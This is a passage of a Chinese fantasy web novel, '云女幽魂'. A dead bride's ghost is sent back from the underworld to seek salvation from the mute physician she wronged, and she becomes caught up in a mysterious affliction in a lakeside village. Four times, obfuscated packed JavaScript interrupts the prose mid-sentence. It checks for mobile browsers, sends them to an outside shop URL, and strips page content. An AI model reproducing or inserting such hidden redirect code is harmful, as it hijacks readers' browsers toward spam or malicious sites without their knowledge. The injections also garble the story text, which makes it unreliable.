《云女幽魂》 1. 云女魂冥府求往生 魏朝,元庆五十二年,扶安城。 “听说没,刺史大人的宝贝女儿死在了大婚当日!” “那花轿到门,新郎官一看,新娘子都咽气了,脸吓得煞白哟!” 几人围坐在一家茶果铺外,埋头窃窃交谈着扶安城里一桩沸沸扬扬的要闻。 一人吐着瓜子壳,幸灾乐祸道:“要我说,这女的老娘做地方长官,外祖母在朝廷跟丞相拜把子,她爹原先不也是个什么状元郎吗?这么风光的出身,结果自己命软,天生的心疾,压根消受不起天大的福气。这不马上快要嫁进四大世家之一的柳家了,突然心疾发作,一命呜呼了,好好的喜宴变丧宴,给两家都添了晦气。” “欸,凑近点,我也偷偷告诉你们个事,”另一人将茶壶并一碟招牌果子往前推了推,俯身压着木桌,神秘兮兮道:“其实她是遭了报应。” 众人惊呼,继续听他道:“这刺史之女成亲前不是闹出过一个丑事吗?说是和府里给她医病的大夫有一腿!两人苟且还被人撞见,要不是刺史压下来,指不定那柳家得了消息后,不认这婚约呢!” “平常在街巷见到她就一副吊儿郎当样,不像个大家闺秀,原来私下里玩得这么花,啧啧啧。” “别急,等我说完。刺史知道这事肯定生气啊,要她赶紧把这风流债断干净,万一真闹到了柳家人那里,谁的面子都挂不住。结果你猜怎么着!” “啪——”这人一拍巴掌,听得入神的几人都抖了个激灵,催促他往下说。 “她把人家打成了半残废,扔到破庙里头自生自灭!然后转头和她的柳郎君花前月下去了。” “好狠毒啊!这不是两头骗吗?” “简直是蛇蝎!” “死得该!真是报应!” 茶果铺的掌柜是个干练的妇人,听着这些人自以为小声地搬弄是非,气不打一处来,叉腰朝门外嚷道:“马上打烊了,这茶水钱结是不结?几个大老爷们成天在这嚼舌根,死者为大的道理不懂吗?嘴上积点德吧!人家云大人做官勤恳,为咱们老百姓做了多少事,女儿新丧,你们这些话给她听见了多寒心!去去去,赶紧走!” 几人灰溜溜地离开了。 妇人收拾桌子时,回想起他们嘴里狠毒的姑娘曾经最爱自家栗子酥,几乎每日都能见到她笑吟吟地光顾小店,一想到今后再见不着,心里顿时酸得不行,她红着眼自言自语道:“可惜了,好好一个姑娘,希望来世也投个好人家。” · “小姑娘,不是老身故意刁难你,这册子上没你名字,这汤按鬼头来的,一鬼一碗,那是定额,就算老身可怜你在冥间游荡这么久,给你一碗汤喝了,你之后也渡不过忘川河啊。”一个身形佝偻的老妪站在比她还高的漆黑圆鼎旁向一只女鬼苦口婆心地劝说道。 她身旁的大鼎下正燃着青蓝交加的幽幽冥火,鼎里咕噜噜冒泡,传出一阵异香。 女鬼嗅着那异香只觉沁入心脾,浑噩的大脑如有春风过境般迎来一阵清醒,她祈求道:“孟婆婆,你只管先施给我一碗汤,渡忘川河我自有他法,求求您行行好,可怜可怜我。” 老妪叹了口气,一只手中端着碗黢黑粘稠的不明液体,另一只手拿着本黄色小册凑近到昏花的老眼前仔细瞧看,没再搭理身前这只隔三岔五飘来晃去的女鬼,转而朝她身后一小鬼问道:“性命、籍贯和死因?” 那小鬼一一回答上来,老妪点点头,将汤递过去。 “得罪了!” 女鬼不死心,猛地扑上前去要抢那汤碗,孟婆虽年迈但身手极快,她将手一翻,汤汁泼洒在地,霎时腾起一缕青烟,正准备接过汤碗的小鬼哀嚎道:“我的汤,那是我的汤啊!” 女鬼见机又飞向那尊大鼎,孟婆则眼疾手快攥住她的脚腕一扯,女鬼抓紧了鼎沿死活不松,孟婆再一用力,连鬼带鼎拽倒在地,鬼摔了个手脚朝天,大鼎则滚了几圈,将里面熬煮的汤液吐了个干净,汤液化为浓厚的青烟散开,引得周边一众鬼魂们都仰头贪婪地吸食着。 孟婆面露愠色道:“小姑娘,你一而再、再而三地干扰老身施汤,耽误其他鬼魂们转世投胎,饶是老身再可怜你,今日也要将你扭送到阎王面前,看他如何惩处!” 说罢,她周身升起一阵袅袅紫烟,紫烟散去,原地只见一位身材窈窕的妙龄美人,美人一手提起那只误事的女鬼,去往阎王殿前还不忘向哀嚎的小鬼道:“待老身再还你一碗。” 阎王殿内,黑白无常刚从阳间回来复命,见孟婆擒着只眼熟的女鬼,便绕着她来回转悠打量,嬉笑道:“瞧这是谁呀?原来又是云挽灵,哈哈哈哈哈,这次怎么闹到阎王殿里来啦?” 原来女鬼名唤云挽灵,两年前死在自己大婚当日,两年间她一直在冥府游荡,至今还没投胎转世。 “阎王,这只鬼您打算什么时候管管?将她扣留在冥间已经快两年了,今日她敢抢我的汤,您不怕明日她就敢端您的府?”孟婆将云挽灵往地上一扔,语气不满道。 阎王从满案文书卷轴中抬头,疲惫地捏了捏眉心,道:“是小孟啊。你稍安勿躁。” 说罢,阎王在纸海里翻找起来,终于抽出一张幸存完整的仙人笺,他凝神读了读,望向阶下的女鬼,捻须问道:“你就是云挽灵?” 云挽灵狼狈地从地上爬起来,没好气道:“对,就是我。阎王大人既然都不认识我,为何要将我扣留在冥间,让我找个好人家投胎不行吗?” 阎王尚未说话,白无常长舌一卷,抢声道:“还不是你生前祸害了人!” “怎么可能!你说,我祸害了谁!”云挽灵说得大声,心里却没底,因为她压根不记得。 在冥间游荡太久的鬼魂往往会因长期吸入弥漫的孟婆汤香气或忘川河水雾而逐渐失去人世的记忆,这对于鬼魂而言是好事,因为能够帮助他们忘却前生的执念,安心投胎或等待魂飞魄散,记忆残存则反倒会让鬼魂们大脑混沌,经常陷入不知名的痛苦中,备受折磨。 云挽灵即是如此,人世记忆尚未消散干净,这使她时而浑噩,时而清明,在冥间游荡的大多数时日里她总是因着什么感到又憾又恨,却又无以从零碎混乱的记忆里探寻根源,更无能为力,这才迫切想要抛却一切,早早往生算了。 但按照冥府规矩,转世投胎需要排队等待命格分配,少则几月,多则几年,好人自然配享有福命格,而那些生前犯事作恶的鬼魂,还须首先经由阎王审判或是生人超度才能获得转世投胎的资格。 不巧,云挽灵正是个后者。 她最初其实是不愿投胎的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阎王扶额思索片刻,从满案文书中抽出一本手札,扫了一眼落定某处,抬头道:“既如此,云女,本王给你三个选择:要么你认命,在冥府等魂飞魄散,若是你想投胎也可,但下一世只能入畜生道......” “我选第三个!”云挽灵等不及阎王说完。 “好!那本王给你个机会,让你重回人间,只要你能让那位医者为你在佛前诵经超度、七日不休,那么你这缕幽魂就可安心往生了。”阎王招了招手,黑白无常飘然而至两侧,他翻开那本手札指着一处展示,黑白无常似乎颇为讶异,皆不可思议地瞧了云挽灵一眼。 阎王命令道:“你们俩给她塑个身,送她回阳间,记得,该叮嘱的要叮嘱到位。” “是。”黑白无常齐声应道,准备领着云挽灵出去。 “要是这小姑娘没被超度呢?”孟婆出声问。 “九九八十一天后,她若是没被超度,幽魂将再次回归冥府,届时便由本王审判,该怎么判就怎么判。” 孟婆这才眯了眯眼,似是满意地点头,她朝云挽灵提醒道:“若你真的害了人,那争取得其超度,若你是被陷害,那就想想怎么证明自己的清白吧。”话音落,不等云挽灵感谢,一团紫烟升起,孟婆已消失不见。 2. 仰仙湖一湖通死生 白无常将云挽灵带到阎王殿后山的仰仙湖,冥间无分日夜春秋,湖中莲花长盛不败,于昏暗中也开得明媚娇艳,云挽灵许久不见这样生机勃勃的景色,恍然间以为身在阳间。 白无常跳下莲花池摘出几节莲藕,问道:“你的塑身要什么模样?” “还能用不同于自己的塑身?” “废话,要是一模一样,那不得让凡人们以为谁谁谁起死回生了。” “我这不就是起死回生吗?” 白无常像是听了天大的笑话,捧腹哈哈大笑道:“这世上哪有什么起死回生?世上根本就没有起死回生,你没见过那几只在忘川河边停驻已久的鬼魂吗?站在那里都要生根发芽了,最后的结局无外乎魂飞魄散,那就是被乱七八糟的方法强行‘起死回生’的人,本来完整的魂魄都被我们带回冥间了,结果魂一半又被抢回了阳世,最后阳间魂和阴间魂两败俱伤,留在阳间的成了活死人,留在阴间的成了僵魂。” 白无常意味深长道:“生死乃自然天道,起死回生是逆天而行,注定不得善果。” 云挽灵的确在忘川河边见过“僵魂”,个个站立如木,四肢僵硬。 其中一个女人让云挽灵印象尤深,她长发披散,容貌虽清丽,面色却极灰极惨然,睁着眼睛了无神情,好不骇鬼。 云挽灵好奇:“那你会死吗?神仙会死吗?” 白无常收敛了笑意,从池里爬上来,正色道:“当然,只是寿数长短之别而已。” 他挥了挥手中沾染着淤泥的莲藕道:“你这不过是借身还魂,即便回了阳间,也不是个真正的活人,所以根本不是起死回生。” “好了,赶紧说要个什么样的身体,我给你塑。” 云挽灵沉吟片刻,问道:“大人,我想先问问那位医者和我是什么关系。” “情人。” “哦......啊???” “对啊,就是情人,不知道你是不是真的喜欢他,反正他很是喜欢你。” “那他为什么......” “为什么诅咒你?哼,还不是因为你始乱终弃。” “此话怎么讲?” 白无常唰唰几下将莲藕雕刻出一个大致人形,斜睨着云挽灵打抱不平道:“我也是收你魂魄那天听人说,你为了嫁给那谁,把自己的情夫打得个半残扔到破庙里自生自灭,人们都说你心疾发作死在成婚当日就是遭了报应。” 云挽灵听了默不作声,眼底情绪晦暗不明。 白无常继续道:“可怜那人喜欢你喜欢得不行,拖着个残疾的腿夜半到你灵柩前哭得好伤心,啧啧,天见可怜,我见犹怜呐。” 白无常见云挽灵缄默不语,便道:“这下知道愧疚了?我再告诉你吧,你入葬前在灵柩里躺了几天,他就来了几天,躲着你丈夫来的。有时候你丈夫守了一夜,他就在窗外冷风里站一夜。要我说,他就该到你尸身前破口大骂、哈哈大笑。” “哦对,拜你所赐,他既骂不出口,也笑不出声哈哈哈。” 云挽灵别过脸,淡声道:“大人,塑身就用我自己的样子吧。” “不行,会惹不必要的麻烦。”白无常止住滑头,拒绝道。 云挽灵则换了副笑盈盈的模样仰头看他,道:“这样吧,大人,您将我的五官雕得再精致一点,不与原身一模一样,比如眉眼深邃些,尤其眼尾再挑一点会显得更有神,鼻梁也挺一点,嘴唇薄一些,唇珠一定要保留哈,哎,其实我对自己的长相一直很是满意,但精益求精也不为过,对了还有......” “云挽灵,你真是换脸如翻书,刚听我说那医者可怜,你还一副愧疚的模样,现在又笑嘻嘻,真是没心没肺。还有,你居然还对我提上要求了?”白无常笑得瘆人,但这瘆人的笑没有维持片刻,便在灿灿金光下弯成了友善的弧度。 云挽灵不知从哪里掏出一摞沉甸甸金闪闪的钱币,讨好道:“大人,是您刚刚问我要雕成什么模样的嘛!您看,我家里人给我烧的冥钱都在这里了,还请您笑纳,就当作是手工费如何?” “好说,好说,你刚说哪里还要改来着?” “除了刚刚说的,再......雕得健康一点?” 白无常扑哧笑出声,道:“放心吧,给你的五脏六腑除了有九九八十一天的使用期限,没有什么怪病。至于容貌上的区区小事,全都满足你。但你切记,回了阳世,倘若有人问,只能说自己长得像云挽灵,让人当个巧合。” 白无常顿了顿,恍然大悟般大叫道:“云挽灵,你就是故意的吧!你是不是想用这副相同的皮囊去骗那小可怜?” 云挽灵紧紧捂住耳朵,试图将白无常的尖声挡在耳外,她反驳道:“大人,此言差矣!人间三十六计中,这叫美人计。” “哼!你这巧舌如簧的坏丫头。” 云挽灵调转话锋:“大人,话说,那位医者叫什么名字,有何种特征,我去哪里找他呢?” “姓褚名昀,长得嘛,如谪仙在世,右眼还是左眼下面有一颗痣,家住嘛,不知何处,你自个去找。” 白无常将那雕刻好的精致塑身扔到云挽灵手里,道:“反正回到阳间,你的生前记忆也会逐渐恢复,但记住,九九八十一天后无论事成与否,我都会去收你。还有,一定别让人瞧出端倪,否则我们很难办,凡人最受不得这种鬼神之事了,小心也给你自己惹麻烦。你听进去没?” 云挽灵把手放下,重重点头,道:“听进去了。” 她端详一阵手里半臂大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不是吧,我才刚活过来! 云挽灵既难受又委屈。 救命!救命啊! 她压根发不出任何声音,肺腔的空气被挤兑得稀薄无几,开始传来阵阵尖锐的疼痛,她手脚并用仍想划动却身如千钧重,艰难使出的力气根本无济于事。 不想死。 真的不想死。 云挽灵不甘地想。 耳中嗡鸣不断,岸边好像传来了依稀人声。 光亮悉渐消退,在彻底陷没于黑暗之前,她在一片朦胧中看见什么游来。 不知是人、是鬼、还是她的幻觉...... 3. 仙湖村怪疾风波起 “这人恐怕呛了不少水,咋办呀?医仙,要不俺给她渡渡气?” “你别因为是你先发现这姑娘溺水,就想趁火打劫占人家姑娘便宜!” “你别乱说,我这是着急救人!要不然,要不然你让人家医仙来吗?” “人家医仙自然有更好的办法,不像你,满脑子腌臜东西......” 一个面黑如灶底的男人和一个瘦削如竹竿的男人冤家碰头,互不让步地你争我吵。 而被换作医仙的人没有理会身后两个男人的争论,他半跪在地,双手放在昏死的云挽灵胸口开始按压,见她还没有苏醒的迹象,此人神情一沉,拧了拧眉,伸手要拨开她脸上凌乱湿漉的发丝,打算以口渡气。 “咳咳咳,咳咳咳!” 云挽灵恰时转醒,简直要将五脏六腑都咳出去,肺中才终于顺畅灌入新鲜空气。 那人见云挽灵已无大碍,低头看了眼自己里外湿透的衣裳,转头打量一圈围观的众人,手一抬,指向一个手抱棉被的妇人。 那妇人怔愣一下,往前走了几步,因为被称作“医仙”之人的有意遮挡,她只看到地上有一双光洁姣好的玉足在湿淋淋的裙摆下若隐若现,于是立刻明白了意思,忍痛将自己才晾晒好的新织薄被往云挽灵身上一盖,把让自己看了都脸红心跳的玲珑曲线遮得严严实实,小跑回到了人群里头。 云挽灵从懵然中清醒,努力撑着身体坐了起来,看见周围站着一群身穿粗布麻衣、长相淳朴的男女老少,个个都探头探脑,好奇地张望自己,而靠近些的一个脸黑如灶底的微胖男人,落在自己身上的黏着目光,让身无温度的她都一阵恶寒。 云挽灵扯紧那床薄被,脱口问道:“你们是谁?这是哪里?” “完了,这姑娘失忆了!”刚刚送被的妇人可怜道。 “这姑娘面生,看着也不大,不会是被谁拐来这里的吧?” “今天突然就出现在仰仙湖里,真是奇了怪了!” “之前不也发生过类似的事吗?你说这仰仙湖里不会闹鬼吧?” 众人七嘴八舌议论起来,却没人回答云挽灵的问题。 云挽灵静静观察着四周,片刻才发觉身旁近处还有个不声不响的人。 她缓缓抬眸,映入眼帘的是一张教人惊艳得挪不开眼的面庞。 肌肤白皙,净得生冷,几绺湿发还停留在光洁饱满的额间,仍兀自滴落莹莹水珠,明光折映下,一双色若凝霞的微狭凤眼半无风情,透着似有若无的疏离。 右眼正下一粒小痣,将这如寒云出岫般的清冷容貌生生衬出三分浓丽。 冷中带柔,明中带媚,恰到好处。 而此时此刻,他目不转睛地盯着云挽灵,眼中流露出几分令人心慌的探究。 云挽灵呼吸一滞,急忙拨开脸上遮挡视线的湿发,待完全看清眼前人时,一股熟悉感适时涌上心头,她胸中狂喜:正所谓踏破铁鞋无觅处,得来全不费工夫! 眼前这水灵灵的人,不是褚昀,还能是谁! 而对面的褚昀也在云挽灵拨开湿发、露出庐山真面的瞬间,眸光蓦然一亮。 他不动声色地吃了一惊。 湿透的衣袖“滴答”沥水,像是夜阑人静的更漏。 无言相顾须臾,褚昀的眸光又黯淡下来。 不是她,再像也不是。 他平复着失而复得、得而复失的心绪,秉持着医者操守,准备给这个刚救上岸就失忆的可怜女人把脉,谁想他手方一探过去,还没碰到云挽灵的手腕,云挽灵便受惊般猛地抽回,连带着身体也往后挪了段距离,徒留褚昀一脸茫然。 云挽灵低着头,面上被日光照得半明半暗,她小声道:“男女......男女授受不亲。” 自己如今是鬼非人,给这行医的一把脉,身份不就暴露无遗了吗? 褚昀面无表情地收回手,指了指云挽灵又指了指自己,然后起身离开,看热闹的众人当即给他让出一条过路的道。 在村里人眼中,褚昀是个仙气飘飘的隐士,一般居住在浮云山上。每隔几个月,他就会下山行医,什么疑难杂症都能治好,甚至丢了半条命都能被他妙手回春,并且他从不收一文钱,权当善心。 久而久之,村里人无不敬重、仰慕褚昀,又因为褚昀是个哑巴,从未告知姓名,于是大家都尊称他一声“医仙”,且颇听他“差遣”。 褚昀走了几步,回头见云挽灵没跟上来,于是又指了指云挽灵,再指了指自己。 旁边一个瘦如竹竿的人提醒道:“医仙要你跟着他走呢!” “咱医仙不能说话,但指定不会害你,你跟着他准没错。” 云挽灵得了明示,披着被子,紧跟上他。 褚昀步子不快,慢而稳当,若不仔细观察,无人看得出他走路时一脚轻一脚重。 云挽灵对着褚昀的背影试探着唤了一声:“恩人?” “刚刚是你救的我吗?谢谢你。” 褚昀脚步一顿,回头只微微颔首,客气又疏离。 云挽灵猜他的意思是“不用谢”。 她紧了紧步伐,跟得更近。 褚昀带着云挽灵来到一座泥砌的简陋房屋前,他礼貌地叩门三声。 开门的是一个老妪,身后还跟着一个约莫六七岁大的女孩,女孩圆圆的眼珠正怯生生地往屋外瞧,见来人是褚昀,顿时笑逐颜开,欢快地跑向他,嘴里还脆脆地喊着:“医仙哥哥。” 褚昀蹲下身,温柔地抚摸着小家伙的脑袋,俊美的五官舒展出一个令人如沐春风的笑容。 笑得真好看。 云挽灵一边心中感叹,一边暗恨自己不成器,轻易着落了美色。 “医仙呀,好久没见着你了,快快进来,屋里面坐。”老妪走出门招呼褚昀,这才看到他背后还跟着个陌生面孔的云挽灵,不禁奇道:“这是哪家的姑娘?怎么从来没见过?” 褚昀无法说话,不好解释,云挽灵也不矫情,但仍装作虚弱的模样,走上前道:“婆婆......咳咳......我方才溺水得医仙相救,但不幸失了记忆,如今什么也想不起来,咳......他一路带我过来您家,不知要做什么。” “哦哦,这样......”老妪道,“姑娘和医仙都湿透了,不如先进门换套干净衣裳?” 褚昀点点头,显然他原本也是这个意思,于是牵着小女孩的手先一步进了屋。 云挽灵朝老妪甜甜一笑,略施一礼,也跟着进去。 屋内虽小却收拾得干净明亮。老妪话勤,开始介绍起自己,她姓冯,是小妹的外婆,屋里只有祖孙两人居住,原先还住了个哥哥。小妹和哥哥父母早亡,两个孩子都是阿婆自己拉扯养大。不久前哥哥外出找活养家了,估计得要好一阵子才会回来。 冯婆婆拿出两套整洁的旧衣,不好意思道:“合适的衣服可能就朗儿这两套,你们不嫌弃先暂时换上,我将你们的衣服拿去火堆边烘烘,很快就能干。” 云挽灵见褚昀大方接过,自己便也答谢着接下,两人分别换了衣服回来,冯婆婆主动拿过他们脱下的衣物,说去灶房的柴火旁烘干,招呼两人先坐下喝点茶水。 屋内,褚昀端坐在一条长椅上开始教小妹写字,云挽灵百无聊赖,坐他们正对面把玩着手中粗糙的茶杯,她一边打量着褚昀专注的神情,视线有意无意落在他那粒眼下痣,心中开始斟酌着要如何同他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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云挽灵也不泄气,乔作可怜,道:“恩人,我不知缘何落水,若是坏人加害,他见我完好无损地出现在附近,岂不会变本加厉又置我于死地。我又什么都想不起来,见了他的面也认不出,若他只冲我来倒罢了,我更怕牵连了阿婆和这样可爱的小妹。” 说罢,云挽灵好似愧疚不已地伸手揉了揉小妹的脑袋,又继续楚楚可怜道:“我虽然不认识恩人,但见恩人风度非凡、菩萨心肠,恩人救我一命,我一愿追随报恩,二也愿记忆恢复前,能得恩人继续庇护。” 小妹懵懂地听着云挽灵胡说八道,自己也前言不搭后语地插上一句:“姐姐,医仙哥哥一定会保护你的,医仙哥哥特别厉害,我哥哥之前上山打猎被蛇咬了,脚肿得特别吓人,还好医仙哥哥在,一下就给他解了毒,医仙哥哥还教我认字呢。” 云挽灵点头称是是是,期望的目光落回褚昀身上。 褚医仙,小妹都这样夸你了,还不赏个面子吗? 褚昀不语,片刻思忖后,递来一张纸条:我送你进城,官府会保护你,并帮你找到家人。 云挽灵真是两眼一黑,强笑问道:“那此地离城中多少日脚程?” 纸上道:快则半日,慢亦不过两日。 云挽灵无奈,这么短的时间,她能做些什么?但还是妥协,退一步问道:“恩人愿意送我?” 褚昀没再消耗纸墨,淡淡点头。 云挽灵眉开眼笑:“那便有劳恩人。” 总归先留在褚昀身边,至于进城后如何行事,且再看吧。 云挽灵心下大宽,就要凑近到褚昀身边坐下,想同他嘘寒问暖再聊上几句。 褚昀面若平湖,却将手按在长椅空出的一侧,示意“勿坐此处”。 云挽灵的笑容裂开一道缝,正要开口争取,屋外却突然闯进一阵慌乱的惊叫声。 “啊!!!!!!” 一大一小一鬼齐齐抬头。 屋外,一个男人如涸泽之鱼般在地上痛苦翻滚着,正抽搐不止、口吐白沫。 旁边跌坐着另一个吓得不轻的男人,惊目圆瞪,牙关打颤得说不出话,下档处已湿透了。 而刚从灶房出来的冯婆婆也被这突如其来的一幕吓得瘫软在地,才烘干的衣服散落一地。 4. 仙湖村怪疾风波起2 褚昀反应极快,已经闪身到屋外,他将倒地的冯婆婆扶起,护到自己背后。 身前不远处,男人似乎在极力抵抗着一双无形的扼喉之手,他双眼上翻,只露出骇人的眼白,口中不停涌出恶心的白沫,面色也以肉眼可见的速度发青变黑,将将快窒息而尽的模样。 褚昀眸光一凛,便要上前察看情况,冯婆婆没扯住他的衣袖,又忧又惧,便不自觉地跟着往前两步。 “婆婆!婆婆回来!”小妹在屋内叫喊着也要跑出去,云挽灵将人拦下,安抚道:“别担心,我去把婆婆带进来,你就待在屋里,哪儿也别去。” 云挽灵倒是没被眼前景象吓住,她在幽冥两年早已见怪不怪。她瞥了一眼褚昀的背影,颇为淡定地走到冯婆婆身边道:“婆婆你先回屋,医仙心中自然有数。” 冯婆婆却仿佛没有听见,魂也飘了去,说不清话,不断重复着一个字:“阴......阴......” 云挽灵不解,正眼又瞧了瞧地上的男人,此刻他已安分下来,死尸一般躺在地上,但胸膛仍在起伏,显然人还活着。 这人正是看热闹的人之一,也是他色眯眯说要给云挽灵嘴对嘴渡气,人群散了后,他还一路跟着到了这里,不知是何居心。 褚昀神色凝重,他一手按在男人腕间寸口把脉,又两指抵在男人颈间试探。 云挽灵见他面上闪过一丝疑惑,顺着他的视线转向旁边那吓尿了裤子、仍抖如筛糠的男人,回想起这男人方才也在看热闹的人群中。 云挽灵恍然:他与地上的男人不就是刚刚的一个瘦竹竿、一个黑灶底吗? 知道褚昀口不能言,云挽灵猜他诸多不便,于是替他大声问道:“喂!刚才发生了什么?” 那男人被云挽灵一喝,终于回了神,惊魂未定道:“刚刚......我见张全鬼鬼祟祟跟着医仙,我就好奇,也跟......跟到了这里,我看他还要往里走,就叫住了他,没想到他突然就鬼上身一样,双眼翻白朝我冲来,结果,我我......我什么都没做,他自己就倒在地上了。” 冯婆婆也从惊吓中缓过来劲,云挽灵搀扶着她,听她终于把一句话说完整了:“医仙,这是不是......是不是阴蚀疫啊?” 褚昀并未置否,收回把脉的手,把男人的衣服一掀,腋下骇然可见几块紫红色肿核,褚昀隔着衣料碰了碰,那肿核硬如石块,他面色不由一沉。 冯婆婆见状大惊,哀声道:“就是啊,就是阴蚀疫啊,这......这可这么办?” 云挽灵初回阳间,少得可怜的记忆里并没有“阴蚀疫”三个字,但见褚昀神色严肃,猜想此事严重,于是又向那男人发问道:“他此前有没有类似症状,或者发病先兆?” “没有,没有啊。这阴蚀疫不是六年前就绝迹了吗?怎么会突然出现在村里?这病可是会传染的啊!”男人说完,从地上爬起来就要撂脚跑路,云挽灵哪能放他走,从地上随手拾起一块石子飞掷,正中男人后背,那人吃痛,趔趄摔倒。 云挽灵三两下就飞身到他面前,拦住了去路。 说来也奇怪,这飞石的力道和准劲,以及这轻盈如燕的身法,像深深刻入云挽灵的记忆当中,自然而然,信手拈来。 云挽灵暗自惊喜。 褚昀将一切收入眼底,垂落身侧的指尖微不可察地抖了抖,被他默默拢拳收住。 “事情没说清,你还不能走。何况这是不是你口中的阴蚀疫尚未有定论,你此刻说出去,岂非危言耸听?” “姑奶奶,我真的什么也不知道,这阴蚀疫要命的!我爹就是这么没的,我求求你,你放我走吧!”男人几乎要跪下磕头求饶。 云挽灵不动如山,接着问:“与你无关,为何他要扑向你?” 男人顿生百口莫辩的无可奈何,哀声道:“姑奶奶,你问我,我也不知道呀。” 云挽灵一手提起男人,视线转向褚昀,恰好与他四目相对,霎那间被他来不及收回的炽热眸光一烫,像被烫穿了这白藕塑身。 来不及细想,只见褚昀身后,刚刚还躺在地上的张全已不知何时立起,两只上翻的眼珠滚落回眼眶,却是了无生气的灰白色,一只扭曲到诡异至极的手臂正悄悄伸向面前之人。 “褚昀!”云挽灵情急喊道,不知有心还是无意。 褚昀已有察觉,回身抓住那只扭曲的手臂,反将人重重扣在地上,并迅速扯下束发的绳带将男人的双手双脚利落地捆在一起,呈一个拉开的弓状,叫他不得作祟。 张全依旧龇牙咧嘴,朝褚昀含糊不清地低吼着。 “啊呀,阴蚀疫发作啦!要吃人啦!要传染啦!”男人奋力挣脱云挽灵的手,尖叫着就要跑开。 云挽灵快步追上,三两下扯住他的衣领又将人捉了回来,不悦道:“说了不准走,就别乱跑。” 张全被绑了后又开始在地上翻滚,发出痛苦又刺耳的桀桀怪叫,灰白的瞳仁直直盯着褚昀。 不知是不是云挽灵的错觉,她竟觉得这张全有话说不出。 云挽灵提着男人走近一看,见张全刚刚还如常的一条右腿浮肿得夸张,但不似方才腋下暴起一个个肿核,更像是被某种毒物咬中后的症状,呈现出整片整片的青紫交加。 云挽灵想起刚才小妹一番无心之言,抬头与褚昀视线相交,两人心照不宣,都发觉了此事的怪异之处。 但实在过于怪异,饶是云挽灵这个鬼,也不敢下定论。 云挽灵半蹲下身,再次低头观察起张全。张全却毫不理会云挽灵,视线一直锁定在褚昀身上,就差从怪叫中竭力吐出几个让人能听懂的字来,好叫褚昀知道自己为什么只看他。 褚昀此刻却意味不明地看向咫尺之远的云挽灵,视线在她认真思索的神情上摩挲。 须臾,褚昀的视线重回张全身上。张全灰眸戚戚,已略带绝望之色,褚昀心念一动,仿佛看懂了张全的难言之隐,穿透他这副狼狈诡异的模样,瞥见另一个明朗少年。 云挽灵出于好奇,想要检查下那条奇怪的右腿。 “姑奶奶,这不兴碰啊!”被提住衣领跑不脱的男人惊叫道。 云挽灵见褚昀也是一脸不赞同,只好把手缩回,自觉起身退到了一边,容褚昀大展身手。 可惜褚昀也没有身手施展,他只把出此人脉象紊乱,阴气极盛,却不似任何疾症,更不似阴蚀疫,唯有那浮肿青紫的右腿,让他感到熟悉,胸中也生出猜想。 “医仙,这人真的是得了阴蚀疫吗?”旁观的冯婆婆忍着害怕,走近问道。 那张全见了冯婆婆又开始不安分,口中怪叫更是刺耳,他卖力翻滚,倒向冯婆婆脚下,将冯婆婆吓得颤巍巍又跑开几步远,不敢再回来。 张全脸上浮现出受伤的表情,被云挽灵和褚昀捕捉个正着。 云挽灵试探着问了一句:“你是张全吗?” 张全看向云挽灵,灰白色的瞳仁中透出茫然,随后他摇了摇头。 云挽灵看了眼面上仍挂着惊惧的冯婆婆,拐了个弯小声问道:“你认识这家人?” 张全艰难地点了点头。 “他当然认识,这混账张全之前经常欺负阿朗,这家人见了张全就躲。后来要不是医仙和这家交好,这张全指不定要骑在他们头上欺负人。”仍被云挽灵抓在手里的男人打抱不平道。 “阿朗就是婆婆的孙子?小妹的哥哥?”云挽灵问道。 “是、是呀。” 云挽灵与褚昀再一对视,松手放开了男人,不忘道:“抱歉,刚才得罪了。” 这男人不是个坏人,只是个爱管闲事却心地善良的好人,此事与他彻底无关。 男人没料到云挽灵一冷一热的态度转变如此之快,他挠了挠头,嘿笑道:“没事,没事。” 云挽灵蹲下身还要继续问张全话,张全却突然额上青筋暴起,两眼又一翻,蛛网般的血丝爬上眼白,面色也由黑转红,一口青气从他的喉咙深处升起,片刻间弥散不见,张全像是浑身力气也被通通抽走,头一歪,昏死过去。 怎么偏偏是这个时候。 云挽灵无奈地看向褚昀,又自觉退到了一边。褚昀将张全的衣服再一掀,原先长着肿块的腋下竟然完好无损,除了传出一阵狐臭之味,别无异状,那只肿胀青紫的右腿也恢复如初,仿佛刚才几人所见只是一阵恐怖幻觉。 “见鬼了?”男人惊道。 褚昀再把张全的脉象,已是渐趋平稳,他面上的疑惑之色不减反增。 云挽灵心道:的确是见鬼了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420666|200832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好痛......妈的,谁打老子了。”片刻后,张全悠悠转醒,试着动动手脚,却发现自己如待宰之羊,被捆得结结实实,仓惶地失声喊道:“哎呀呀!这是怎么回事?” “你们......俺什么也没干,你们绑俺做什么?哎呦俺操,俺身上咋恁疼......” “你不记得发生什么了?”云挽灵问。 “啥?”张全黑脸之上,清澈的愚蠢之色不似伪装。 